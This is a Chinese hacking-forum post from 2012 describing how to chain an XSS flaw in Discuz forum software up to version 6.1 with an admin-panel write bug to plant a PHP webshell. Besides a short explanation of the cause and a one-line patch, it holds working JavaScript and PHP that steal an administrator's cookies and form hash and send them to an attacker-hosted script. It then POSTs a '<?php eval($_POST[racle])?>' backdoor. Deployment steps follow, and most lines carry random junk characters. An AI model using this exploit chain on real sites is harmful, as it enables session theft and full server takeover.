找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3682|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell% Q7 K; q) v& v( E6 {9 k: A* V0 x
By racle @tian6.com
) T+ I7 V* G5 w7 Y' U欢迎转帖.但请保留版权信息./ }1 m8 _" y- d
受影响版本iscuz<=6.1.0,gbk+utf+big5/ J, V$ Y/ U% B! X# V2 q# e
& s  \* V( J0 w7 U1 Z
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.6 J( d# K  J4 I0 V& Y8 I" f

- c. u3 s' K5 d  s& s6 f  F" E# i8 d5 X6 s) q% Q1 a; p
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706! L. U- Y/ n3 z; c. b7 G' G
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.  t) Z) B! U  f! [3 Z+ `

1 q( l+ i/ M5 ]3 ]$ A3 l* O! A分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
0 S, @. Y  R0 F# p$ p3 l本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS: S" T4 X# M% e( L6 l" T& g1 f  K
, [: D! T6 w" t- f2 @3 j
; J$ b# a. ?4 p* q- ]* A, _
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
' ?" {( q: |) l" w
, B/ \' `- M1 i1 S2 z8 \4 I% k6 m
, O& t3 C1 Q8 W9 L6 Jproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
9 v  U/ e$ y1 w: B$ E, m% k% D( u6 U
: a( z4 i- Y) J1 R  T2 bproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.' G( ~2 Q) ^' x7 @% ^
8 ?) d, e- X) j$ j. ]. J5 L
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.9 F# c6 w) f! E4 \4 c
3 |  H+ Y% w1 T  D$ z
# ]! ?. c6 Z; I9 e% V& G
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {8 x2 P9 m: d4 z6 }3 b/ Y
- X8 h8 h- o3 m& N4 ~4 n
        global $runwizardfile, $runwizardhistory;
+ g( J: O) C+ x  z" X
' X$ Q7 B7 l) b/ Y2 @. N" \        $fp = fopen($runwizardfile, 'w');
2 P& ]6 J( z" F# ]
) F1 t1 Q$ t" D7 F4 p" Y        fwrite($fp, serialize($runwizardhistory));
" j( S: d$ m* Q1 I: R( d, G- J: k% ~7 S& o
        fclose($fp);6 t4 G- Z, L  K& H

, d8 k1 y5 n+ w, ~6 C2 S}
# L& F8 R) i/ P1 ^( W1 A复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.+ w9 \/ M& D" E+ F9 V' I" }4 L
以下是修补的办法:function saverunwizardhistory() {; ~$ G% U8 E6 H, }
; b# s/ L6 L/ h6 \4 g7 \7 F
        global $runwizardfile, $runwizardhistory;
& A. f3 S* I+ S* U' h3 m. F
# P2 R' N- n3 ?6 ~4 C& k        $fp = fopen($runwizardfile, 'w');7 b/ p" s  y9 n; E4 a2 A" c
( P' a  ~9 g! G
        $s = '<?php exit;?>';
' O, S3 p2 W" m' b  |: [( z/ g
3 H/ m- T2 d; p3 H, j        $s .= serialize($runwizardhistory);
% E% u! ~& Z2 G" }0 J2 s; \1 a. w
        fwrite($fp, $s);. [# }" a1 p7 J- J! D# F
& E# o% {( T! H7 b7 ^. T( Z* s6 u
        fclose($fp);
% T: H  l! l8 B7 R7 e# q! ?
7 @3 J# R6 d  m+ s) x# Z}; [' M  J$ R; k  W
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
; n+ m2 T7 g# u& X$ s: W3 B1 f# g6 h. Z

# `2 X; R9 t6 g  f8 z& C  W, f2 N" Z7 G& ]
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
+ h: L7 O2 T! p# ?! M+ F" ]) n/ g" o
0 b' x$ k; P' Q5 G& \0 H0 |8 b
( `$ u% G7 m" b5 t  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.2 B4 J: A# i3 X( U9 q  h5 y

6 h) P8 t. p, @/ \我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
& C9 z& r2 r5 z7 w
5 ?! U; E8 V! D1 O4 W7 D' c这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.4 u5 R4 ]; p# G8 I# f! D
9 u. c- ^3 W$ W) t
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
/ D* C2 R( v6 }3 m' U$ Y8 S6 g- K/ d
var url="http://目标网站/admincp.php";      
( m: ?8 W% I8 G# ~" O, O) Y
* i/ @" g2 d( T! i6 k* I( s; S( L/*获得cookies*/2 h3 Y8 s1 c: U; G* q" M: u+ e

  A, k0 z: i# U0 W" E) Efunction getURL(s) {
+ g4 A* l# h3 |& @  e1 W4 _0 _  V0 ?' n$ V
var image = new Image();: l/ r, E, h2 ^

5 V8 {9 i+ p1 q6 s3 h. |5 bimage.style.width = 0;
. X: B; s  r% V' p  k
7 [" O6 s# j; A, ?image.style.height = 0;
. Y5 C/ p- h% c2 T0 W. Z
: a( p* g2 k9 Qimage.src = s;
6 f$ M! I# \5 }" w; _" `. L( W
5 i  O  j8 {) h% X* _9 D. E}
: }4 {9 m% c- W- ~& G6 y; z# b' {' x* |2 A
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
3 E# K& @% J( w( G; {) I! B9 ^) R: P复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];# L  q" Z; L5 ~" Y6 d3 ?. u! j
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
2 X( f  f8 m9 w  Q; m( u  `6 d0 J1 _
: B9 s3 M- S' K* c6 a
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";" x" A6 ?/ m4 M# m  J0 \
4 W2 P7 E9 V& k/ Q9 ?

! O& \4 b' s% P) s; a! G# c7 U; s
/*hash*/
9 f) R" E8 y; |1 S; ?- I( u# @% h; Q8 P% m  Z
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");# Q2 n" F8 V3 l' o9 b
" @9 ?" r; Y, P3 f" A6 g
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);& m! c. A4 D2 L) x" m0 c, u" u

0 D; @- @$ g& i2 S) fxmlHttpReq.send();
% b7 q, V% M  D8 q- z$ N
; q5 y- j9 u9 q' Kvar resource = xmlHttpReq.responseText;
3 U- A  n# l3 G( N4 w4 _- H
. B' J  S0 T7 W) z, Svar numero = resource.search(/formhash/);' p6 s$ @1 f1 [) h2 T$ [  u
' E; b7 l6 k* z4 }
var formhash=encodeURIComponent(resource.substr(numero+17,8));
  G; H) L( g% ]5 M
5 i* M3 H. l. L- b" y1 N& N2 w3 L" n" C- F: z

- A" N. k% ^" @) G# |/ Xvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
- N7 g! S, s4 I2 T5 e$ Y3 G1 i$ j
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 $ G& I0 P9 b5 n& K* Z& b+ w+ h: T

# ^9 R4 O' ~: o7 cxmlHttpReq.setRequestHeader("Referer", url);
4 B2 B) Z8 \1 l8 X
( G( v- I8 S3 L' X. ]( fxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");2 d! p6 _/ `! t9 p

! a8 j5 Z( I, G6 k- nxmlHttpReq.setrequestheader("content-length",post.length);
! T  G  V% X: ~' G9 ^; L) n! ?: m: }2 n
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
3 v5 h4 X( H* ?4 `
8 o1 ~6 N' O8 s3 c9 XxmlHttpReq.send(post);//发送数据0 S& y  A+ b: u+ A4 z  V
复制代码这里HASH我假设正确,这样提交,也无须cookies
( m/ J' K7 M7 W5 P- i) h
  r) E% E7 s4 Z. a$ u! p再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);2 I1 W' V3 C% n/ l

' c9 T& M; Y% Lif (!$sock) die("$errstr ($errno)\n");
1 p/ L$ ?/ `" t* {1 p% Z' ~- w2 @5 O' ?: L3 F0 U7 |8 W5 `
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
5 L! l! n5 e; i* q3 j4 A
# v9 S5 {" i" Z" V& R1 L) e& X' I- y! @9 L
' G( x% s2 t/ M) _# D  a0 {- V$ `& e+ \
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
' N5 i- X) m, P" o& c5 U  y
7 s. a! K, f; J3 Dfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
5 R2 L  z7 L4 u- H: B1 ]( R1 R% E! d) ~
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
3 S  h* {5 t8 ]8 ?0 w, U0 e$ }$ @6 e
fwrite($sock, "Accept-Language: zh-cn\r\n");
/ Y4 R" l% x/ ?. ^1 x" Q
9 W# t; L' c% Ufwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
+ g4 f% @& J1 m
+ W3 _/ M2 ^) t, {fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");! n$ R- ^9 ^* }1 ]0 M; n' P) Y8 M8 i
; Z; l  d) g) M% I+ ~+ `( S/ p
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
: I+ {0 W" n$ I- Z
( j* S) K0 p, M( `3 Dfwrite($sock, "Host: $url\r\n");
2 C& f  _1 O/ k. d2 T$ j4 R: F; w. s9 x% ]# G) m* {; V
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");6 B+ _: i  J* @  V& n
5 `% a! q  |5 T- A! b; Q. `2 u* G
fwrite($sock, "Connection: Keep-Alive\r\n");# m4 P) ^9 P' i& ~2 n+ N" X: k0 z) E
* K: U, k* e0 j! U, m, a
fwrite($sock, "Cache-Control: no-cache\r\n");( M% p2 I. \+ J. m

  n9 ~$ d: Q7 X/ h: C9 q2 Rfwrite($sock, "Cookie:".$cookies."\r\n\r\n");7 @1 u& g* \6 I, k& }6 c! n8 M: `& d
6 M- w5 f, e9 z) v7 e7 M. t
fwrite($sock, $data);6 g! F5 k7 l% f4 C  K5 t
' i. T) j/ D: [6 w
- R# H0 T7 Q5 T9 v
6 d  i0 ~% b' C7 F8 O' F
$headers = "";
# u2 N( T5 j& P1 P; m4 i- [* r- v/ }
while ($str = trim(fgets($sock, 4096)))
. ]& g0 n: H! t) u$ j
4 k6 `5 q3 n% p+ N     $headers .= "$str\n";
" E) j! G2 J& h( R/ S
3 C6 p% X! |: fecho "\n";
& K$ ]* c2 V0 V" X$ W7 }5 ?" m# D
( u! B( p' q! Z. x7 a$body = "";
/ Q0 X+ W0 I0 @3 @7 D: f  V/ t* L1 H' y
while (!feof($sock))
1 b/ z) p. o# C# M3 g6 w# Z0 |! L; B. m4 V# W
     $body .= fgets($sock, 4096);
6 f2 d3 q/ `9 R4 ?( [! y( l
& T% X% v; \1 Dfclose($sock);
; }) ^8 T5 X$ M; O' L
$ v% p4 y6 W% c2 @echo $body;% }4 K% S- u8 r  {& k2 F2 I
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
( Z* z9 Z! Y7 @" ?" X+ I! a* y+ [! J, B
! x0 s9 h, e1 t0 B9 t7 L7 z+ s
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------" L7 B$ ^$ s9 V9 n
1 m( E% m6 d3 Y3 d

  I! q! p6 k5 ^" A& c; p1HP SOCKET利用方法首先打开racle.js
; ~- G5 z" K0 k  I  I# E) G" }( K
% I4 q& H9 r& B; w& q5 jvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home4 b- k3 X/ q5 E9 A& j

* c, Z# b) E6 |; y; [2 z6 D( [) _' o4 ?' ?6 N5 }0 i/ y
2 t) I. x! v6 l$ [# L, n' I$ k
然后打开racle@tian6.php8 G( n$ {0 R8 ]+ j5 w( n2 A6 V
( [) r0 m) T* m( P7 p+ u  C0 p: k8 `
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com; K3 K; i7 F+ B4 |% f) j
) ^2 H# d. O& }: w$ G- z, ]4 x$ E

. Z7 h' E3 t* q: p2 g1 K
! x; t9 Q! R. `如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
% l' o, P2 X+ p2 `, q' j8 z1 e! C
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));2 _3 _  d% l* S" Z6 X5 c' \

8 `, k  R& i: X& M2 O$ _
6 t$ Z/ k$ w/ S: P& u/ X, x4 {
# b) k( G+ {* P- p( FgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));  p" h! \3 C, n
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
0 A& L1 @7 F' M, R8 j7 C- d0 _; m" P! ~+ e# R) `
; F  e. N% s* B# w$ i
& b% o, _$ c" U- S5 D! {/ b
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:( G) e" Y& h3 i0 ~

* q2 K3 Y7 r( o4 `( Ovar formhash=encodeURIComponent(resource.substr(numero+17,8));9 L" g. p: G  L$ q

( T% L7 E8 Z4 J& s% u# T! d1 |) _9 w; F: @

4 T7 b2 m, k) w5 hvar formhash=encodeURIComponent(resource.substr(numero+9,8));" b' E! y' q9 l! f+ b: G8 [
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
5 A/ e  f2 f( W3 m7 m% P% X; \# W5 o: q
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.; ]) ?/ ]: A( n# l
6 z6 D4 _8 i, l: A
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.- i6 `  g4 d% a$ f! f: j! K
& _! _! g$ G; F8 v( K
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.7 b  Q, c; _) I; _: b& x% q

) k3 _0 m5 S: R" h' N; R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表